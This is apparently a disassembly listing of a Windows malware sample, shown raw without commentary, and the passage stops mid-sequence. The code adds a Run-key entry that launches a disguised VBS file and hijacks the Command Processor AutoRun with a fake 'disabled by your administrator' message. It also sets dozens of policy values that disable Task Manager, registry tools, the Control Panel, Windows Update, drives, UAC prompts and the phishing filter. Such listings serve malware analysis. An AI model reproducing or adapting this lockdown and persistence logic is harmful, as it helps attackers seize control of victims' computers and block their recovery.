lea eax, [ecx + 0x41]
cmovae esi, dword [ebp - 0x6cc]
add esi, ecx
mov dword [ebp - 0x6bc], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x41], 0
jmp 0x4025b8
mov byte [ebp - 0x7e8], 0
lea ecx, [ebp - 0x6cc]
push dword [ebp - 0x7e8]
push 0x41
call fcn.00406040
mov edx, dword [ebp - 0x6a0]
mov eax, edx
mov ecx, dword [ebp - 0x6a4]
sub eax, ecx
push 0x3d
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesUninstall
cmp eax, 0x3d
jb 0x4025fe
cmp edx, 0x10
lea esi, [ebp - 0x6b4]
lea eax, [ecx + 0x3d]
cmovae esi, dword [ebp - 0x6b4]
add esi, ecx
mov dword [ebp - 0x6a4], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x3d], 0
jmp 0x402618
mov byte [ebp - 0x7e0], 0
lea ecx, [ebp - 0x6b4]
push dword [ebp - 0x7e0]
push 0x3d
call fcn.00406040
mov edx, dword [ebp - 0x688]
mov eax, edx
mov ecx, dword [ebp - 0x68c]
sub eax, ecx
push 0x2d
push str.SoftwarePoliciesMicrosoftMessengerClient
cmp eax, 0x2d
jb 0x40265e
cmp edx, 0x10
lea esi, [ebp - 0x69c]
lea eax, [ecx + 0x2d]
cmovae esi, dword [ebp - 0x69c]
add esi, ecx
mov dword [ebp - 0x68c], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x2d], 0
jmp 0x402678
mov byte [ebp - 0x7dc], 0
lea ecx, [ebp - 0x69c]
push dword [ebp - 0x7dc]
push 0x2d
call fcn.00406040
mov edx, dword [ebp - 0x670]
mov eax, edx
mov ecx, dword [ebp - 0x674]
sub eax, ecx
push 0x3c
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
cmp eax, 0x3c
jb 0x4026be
cmp edx, 0x10
lea esi, [ebp - 0x684]
lea eax, [ecx + 0x3c]
cmovae esi, dword [ebp - 0x684]
add esi, ecx
mov dword [ebp - 0x674], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x3c], 0
jmp 0x4026d8
mov byte [ebp - 0x7d8], 0
lea ecx, [ebp - 0x684]
push dword [ebp - 0x7d8]
push 0x3c
call fcn.00406040
mov edx, dword [ebp - 0x658]
mov eax, edx
mov ecx, dword [ebp - 0x65c]
sub eax, ecx
push 0x38
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerTips
cmp eax, 0x38
jb 0x40271e
cmp edx, 0x10
lea esi, [ebp - 0x66c]
lea eax, [ecx + 0x38]
cmovae esi, dword [ebp - 0x66c]
add esi, ecx
mov dword [ebp - 0x65c], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x38], 0
jmp 0x402738
mov byte [ebp - 0x7d4], 0
lea ecx, [ebp - 0x66c]
push dword [ebp - 0x7d4]
push 0x38
call fcn.00406040
mov edx, dword [ebp - 0x640]
mov eax, edx
mov ecx, dword [ebp - 0x644]
sub eax, ecx
push 0x3b
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesNonEnum
cmp eax, 0x3b
jb 0x40277e
cmp edx, 0x10
lea esi, [ebp - 0x654]
lea eax, [ecx + 0x3b]
cmovae esi, dword [ebp - 0x654]
add esi, ecx
mov dword [ebp - 0x644], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x3b], 0
jmp 0x402798
mov byte [ebp - 0x7d0], 0
lea ecx, [ebp - 0x654]
push dword [ebp - 0x7d0]
push 0x3b
call fcn.00406040
mov edx, dword [ebp - 0x628]
mov eax, edx
mov ecx, dword [ebp - 0x62c]
sub eax, ecx
push 0x3c
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciescomdlg32
cmp eax, 0x3c
jb 0x4027de
cmp edx, 0x10
lea esi, [ebp - 0x63c]
lea eax, [ecx + 0x3c]
cmovae esi, dword [ebp - 0x63c]
add esi, ecx
mov dword [ebp - 0x62c], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x3c], 0
jmp 0x4027f8
mov byte [ebp - 0x7cc], 0
lea ecx, [ebp - 0x63c]
push dword [ebp - 0x7cc]
push 0x3c
call fcn.00406040
mov edx, dword [ebp - 0x610]
mov eax, edx
mov ecx, dword [ebp - 0x614]
sub eax, ecx
push 0x40
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerAutoComplete
cmp eax, 0x40
jb 0x40283e
cmp edx, 0x10
lea esi, [ebp - 0x624]
lea eax, [ecx + 0x40]
cmovae esi, dword [ebp - 0x624]
add esi, ecx
mov dword [ebp - 0x614], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x40], 0
jmp 0x402858
mov byte [ebp - 0x7c8], 0
lea ecx, [ebp - 0x624]
push dword [ebp - 0x7c8]
push 0x40
call fcn.00406040
mov edx, dword [ebp - 0x5f8]
mov eax, edx
mov ecx, dword [ebp - 0x5fc]
sub eax, ecx
push 0x3f
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesAttachments
cmp eax, 0x3f
jb 0x40289e
cmp edx, 0x10
lea esi, [ebp - 0x60c]
lea eax, [ecx + 0x3f]
cmovae esi, dword [ebp - 0x60c]
add esi, ecx
mov dword [ebp - 0x5fc], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x3f], 0
jmp 0x4028b8
mov byte [ebp - 0x7c4], 0
lea ecx, [ebp - 0x60c]
push dword [ebp - 0x7c4]
push 0x3f
call fcn.00406040
mov edx, dword [ebp - 0x5e0]
mov eax, edx
mov ecx, dword [ebp - 0x5e4]
sub eax, ecx
push 0x43
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesWindowsSidebar
cmp eax, 0x43
jb 0x4028fe
cmp edx, 0x10
lea esi, [ebp - 0x5f4]
lea eax, [ecx + 0x43]
cmovae esi, dword [ebp - 0x5f4]
add esi, ecx
mov dword [ebp - 0x5e4], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x43], 0
jmp 0x402918
mov byte [ebp - 0x7c0], 0
lea ecx, [ebp - 0x5f4]
push dword [ebp - 0x7c0]
push 0x43
call fcn.00406040
mov edx, dword [ebp - 0x568]
mov eax, edx
mov ecx, dword [ebp - 0x56c]
sub eax, ecx
push 0x52
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerHideDesktopIconsNewStartPanel
cmp eax, 0x52
jb 0x40295e
cmp edx, 0x10
lea esi, [ebp - 0x57c]
lea eax, [ecx + 0x52]
cmovae esi, dword [ebp - 0x57c]
add esi, ecx
mov dword [ebp - 0x56c], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x52], 0
jmp 0x402978
mov byte [ebp - 0x7bc], 0
lea ecx, [ebp - 0x57c]
push dword [ebp - 0x7bc]
push 0x52
call fcn.00406040
mov edx, dword [ebp - 0x5c8]
mov eax, edx
mov ecx, dword [ebp - 0x5cc]
sub eax, ecx
push 0x55
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerHideDesktopIconsClassicStartMenu
cmp eax, 0x55
jb 0x4029be
cmp edx, 0x10
lea esi, [ebp - 0x5dc]
lea eax, [ecx + 0x55]
cmovae esi, dword [ebp - 0x5dc]
add esi, ecx
mov dword [ebp - 0x5cc], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x55], 0
jmp 0x4029d8
mov byte [ebp - 0x818], 0
lea ecx, [ebp - 0x5dc]
push dword [ebp - 0x818]
push 0x55
call fcn.00406040
mov edx, dword [ebp - 0x530]
mov eax, edx
mov ecx, dword [ebp - 0x534]
sub eax, ecx
push 0x25
push str.SoftwareMicrosoftCommand_Processor
cmp eax, 0x25
jb 0x402a1e
cmp edx, 0x10
lea esi, [ebp - 0x544]
lea eax, [ecx + 0x25]
cmovae esi, dword [ebp - 0x544]
add esi, ecx
mov dword [ebp - 0x534], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x25], 0
jmp 0x402a38
mov byte [ebp - 0x814], 0
lea ecx, [ebp - 0x544]
push dword [ebp - 0x814]
push 0x25
call fcn.00406040
mov edx, dword [ebp - 0x598]
mov eax, edx
mov ecx, dword [ebp - 0x59c]
sub eax, ecx
push 0x33
push str.SoftwareMicrosoftInternet_ExplorerPhishingFilter
cmp eax, 0x33
jb 0x402a7e
cmp edx, 0x10
lea esi, [ebp - 0x5ac]
lea eax, [ecx + 0x33]
cmovae esi, dword [ebp - 0x5ac]
add esi, ecx
mov dword [ebp - 0x59c], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x33], 0
jmp 0x402a98
mov byte [ebp - 0x810], 0
lea ecx, [ebp - 0x5ac]
push dword [ebp - 0x810]
push 0x33
call fcn.00406040
mov edx, dword [ebp - 0x580]
mov eax, edx
mov ecx, dword [ebp - 0x584]
sub eax, ecx
push 0x2d
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
cmp eax, 0x2d
jb 0x402ade
cmp edx, 0x10
lea esi, [ebp - 0x594]
lea eax, [ecx + 0x2d]
cmovae esi, dword [ebp - 0x594]
add esi, ecx
mov dword [ebp - 0x584], eax
push esi
call fcn.00407790
add esp, 0xc
mov byte [esi + 0x2d], 0
jmp 0x402af8
mov byte [ebp - 0x780], 0
lea ecx, [ebp - 0x594]
push dword [ebp - 0x780]
push 0x2d
call fcn.00406040
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov ecx, 0x19
cmp ax, di
lea eax, [ebp - 0x544]
jne 0x402b5f
cmp dword [ebp - 0x530], 0x10
lea edi, [ebp - 0x520]
mov esi, str.echo.__echo
cmovae eax, dword [ebp - 0x544]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
push 0
push eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x80000003
movsb byte es:[edi], byte [esi]
call eax
push 0x65
lea eax, [ebp - 0x520]
jmp 0x402baa
cmp dword [ebp - 0x530], 0x10
lea edi, [ebp - 0x4b8]
mov esi, str.echo.__echo_The_command_prompt_has_been_disabled_by_your_administrator.__echo.__pause__exit
cmovae eax, dword [ebp - 0x544]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
push 0
push eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x80000003
call eax
push 0x64
lea eax, [ebp - 0x4b8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push 1
push 0
push str.AutoRun
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
movups xmm0, xmmword [str.wscript_C:WindowsWindows10UpgradeComponentsManager.vbs]
mov ax, word [0x41bc34]
lea ecx, [ebp - 0x528]
cmp dword [ebp - 0x580], 0x10
push ecx
lea ecx, [ebp - 0x7b0]
mov word [ebp - 0x3e0], ax
push ecx
push 0
movups xmmword [ebp - 0x418], xmm0
push 0xf013f
movups xmm0, xmmword [0x41bc0c]
push 0
push 0
movups xmmword [ebp - 0x408], xmm0
lea eax, [ebp - 0x594]
movups xmm0, xmmword [0x41bc1c]
cmovae eax, dword [ebp - 0x594]
push 0
movups xmmword [ebp - 0x3f8], xmm0
push eax
movq xmm0, qword [0x41bc2c]
push 0x80000003
movq qword [ebp - 0x3e8], xmm0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0x3a
lea eax, [ebp - 0x418]
push eax
push 1
push 0
push str.Manager
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x598], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x5ac]
cmovae eax, dword [ebp - 0x5ac]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x52c]
push eax
push 4
push 0
push str.EnabledV9
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x760], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
lea eax, [ebp - 0x774]
cmovae eax, dword [ebp - 0x774]
push 0
push 0
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableRegistryTools
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableMsConfig
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoDispCPL
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoDispBackgroundPage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoDispScrSavPage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoDispAppearancepage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoDispSettingsPage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoConfigPage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoDevMgrPage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoFileSysPage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoVirtMemPage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoSecCPL
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoPwdPage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoProfilePage
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableLockWorkstation
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableChangePassword
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoVisualStyleChoice
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoColorChoice
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoSizeChoice
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [ebp - 0x7b0]
call edi
push 0x34
lea eax, [ebp - 0x44c]
push eax
push 1
push 0
push str.Wallpaper
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x748], 0x10
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
lea eax, [ebp - 0x75c]
cmovae eax, dword [ebp - 0x75c]
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoWinKeys
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoRun
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoFind
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoFolderOptions
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoClose
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoControlPanel
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoSetTaskbar
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoSetFolders
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoSMHelp
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableMyPicturesDirChange
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableFavoritesDirChange
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisablePersonalDirChange
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.StartMenuLogoff
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoSMMyDocs
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoSMMyPictures
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoSaveSettings
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoStartMenuSubFolders
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoNetHood
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoAddPrinter
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoDeletePrinter
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoStartBanner
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.LockTaskbar
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoToolbarsOnTaskbar
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoTrayItemsDisplay
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoSimpleStartMenu
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoStartMenuPinnedList
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoStartMenuMFUprogramsList
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoStartMenuMorePrograms
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoStartMenuMyMusic
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisableMyMusicDirChange
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoStartMenuNetworkPlaces
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoStartMenuEjectPC
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoUserNameInStartMenu
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoLowDiskSpaceChecks
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoRemoteRecursiveEvents
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoRecycleFiles
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoStrCmpLogical
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoResolveTrack
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.LinkResolveIgnoreLinkInfo
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoCommonGroups
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.GreyMSIAds
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoInstrumentation
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.MemCheckBoxInRunDlg
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoResolveSearch
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoRecentDocsNetHood
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.ForceStartMenuLogoff
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.EnforceShellExtensionSecurity
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoSecurityTab
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoSharedDocuments
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.ForceClassicControlPanel
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoCDBurning
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.TaskbarNoNotification
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoThemesTab
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoDesktopCleanupWizard
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoChangeStartMenu
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoFavoritesMenu
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoRecentDocsHistory
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.ClearRecentDocsOnExit
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoRecentDocsMenu
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoSetActiveDesktop
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoLogOff
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.ClassicShell
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoActiveDesktopChanges
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoActiveDesktop
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoFileMenu
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoCustomizeWebView
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoTrayContextMenu
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoViewContextMenu
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoInternetIcon
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoNetConnectDisconnect
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoWindowsUpdate
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoExpandedNewMenu
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoClosingComponents
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.NoEditingComponents
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x778]
push eax
push 4
push 0
push str.NoDrives
push dword [ebp - 0x7b0]
call edi
push 4
lea eax, [ebp - 0x524]
push eax
push 4
push 0
push str.DisallowRun
push dword [ebp - 0x7b0]
call edi
push dword [ebp - 0x7b0]
call esi
cmp dword [ebp - 0x730], 0x10
lea eax, [ebp - 0x744]
cmovae eax, dword [ebp - 0x744]
lea ecx, [ebp - 0x528]
push ecx
lea ecx, [ebp - 0x7b0]
push ecx
push 0
push 0xf013f
push 0
push 0
push 0
push eax
push 0x80000003
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0xf
lea eax, [ebp - 0xbc]
push eax
push 1
push 0
push 0x41c36c
push dword [ebp - 0x7b0]
call edi
push 0x13
lea eax, [ebp - 0x234]
push eax
push 1
push 0
push 0x41c370
push dword [ebp - 0x7b0]
call edi
push 8
lea eax, [ebp - 0x78]
push eax
push 1
push 0
push 0x41c374
push dword [ebp - 0x7b0]
call edi
push 0xc
lea eax, [ebp - 0x1f8]
push eax
push 1
push 0
push 0x41c378
push dword [ebp - 0x7b0]
call edi
push 0xc
lea eax, [ebp - 0x1ec]
push eax
push 1
push 0
push 0x41c37c
push dword [ebp - 0x7b0]
call edi
push 8
lea eax, [ebp - 0x70]
push eax
push 1
push 0
push 0x41c380
push dword [ebp - 0x7b0]
call edi
push 0x13
lea eax, [ebp - 0x248]
push eax
push 1
push 0
push 0x41c384
push dword [ebp - 0x7b0]
call edi
push 0x13
lea eax, [ebp - 0x20c]
push eax
push 1
push 0
push 0x41c388
push dword [ebp - 0x7b0]
call edi
push 0xb
lea eax, [ebp - 0x90]
push eax
push 1
push 0
push 0x41c38c
push dword [ebp - 0x7b0]
call edi
push 0x10
lea eax, [ebp - 0x3c4]
push eax
push 1
push 0
push 0x41c390
push dword [ebp - 0x7b0]
call edi
push 0xb
lea eax, [ebp - 0x84]
push eax
push 1
push 0
push 0x41c394
push dword [ebp - 0x7b0]
call edi
push 0xd
lea eax, [ebp - 0xe4]
push eax
push 1
push 0
push 0x41c398
push dword [ebp - 0x7b0]
call edi
push 0xc
lea eax, [ebp - 0x1a4]
push eax
push 1
push 0
push 0x41c39c
push dword [ebp - 0x7b0]
call edi
push 8
lea eax, [ebp - 0x68]
push eax
push 1
push 0
push 0x41c3a0
push dword [ebp - 0x7b0]
call edi
push 0xa
lea eax, [ebp - 0x188]
push eax
push 1
push 0
push 0x41c3a4
push dword [ebp - 0x7b0]
call edi
push 0xc
lea eax, [ebp - 0x1e0]
push eax
push 1
push 0
push 0x41c3a8
push dword [ebp - 0x7b0]
call edi
push 0xc
lea eax, [ebp - 0x1d4]
push eax
push 1
push 0
push 0x41c3ac
push dword [ebp - 0x7b0]
call edi
push 0xc
lea eax, [ebp - 0x1c8]
push eax
push 1
push 0
push 0x41c3b0
push dword [ebp - 0x7b0]
call edi
push 9
lea eax, [ebp - 0xd4]
push eax
push 1
push 0
push 0x41c3b4
push dword [ebp - 0x7b0]
call edi
push 8
lea eax, [ebp - 0x60]
push eax
push 1
push 0
push 0x41c3b8
push dword [ebp - 0x7b0]
call edi
push 0xd
lea eax, [ebp - 0xf4]
push eax
push 1
push 0
push 0x41c3bc
push dword [ebp - 0x7b0]
call edi
push 0xd
lea eax, [ebp - 0x114]
push eax
push 1
push 0
push 0x41c3c0
push dword [ebp - 0x7b0]
call edi
push 0xc
lea eax, [ebp - 0x1b0]
push eax
push 1
push 0
push 0x41c3c4
push dword [ebp - 0x7b0]
call edi
push 0x12
lea eax, [ebp - 0x378]
push eax
push 1
push 0
push 0x41c3c8
push dword [ebp - 0x7b0]
call edi
push 0x14
lea eax, [ebp - 0x3b4]
push eax
push 1
push 0
push 0x41c3cc
push dword [ebp - 0x7b0]
call edi
push 0xd
lea eax, [ebp - 0x124]
push eax
push 1
push 0
push 0x41c3d0
push dword [ebp - 0x7b0]
call edi
push 0xb
lea eax, [ebp - 0x9c]
push eax
push 1
push 0
push 0x41c3d4
push dword [ebp - 0x7b0]
call edi
push 0xe
lea eax, [ebp - 0x198]
push eax
push 1
push 0
push 0x41c3d8
push dword [ebp - 0x7b0]
call edi
push 8
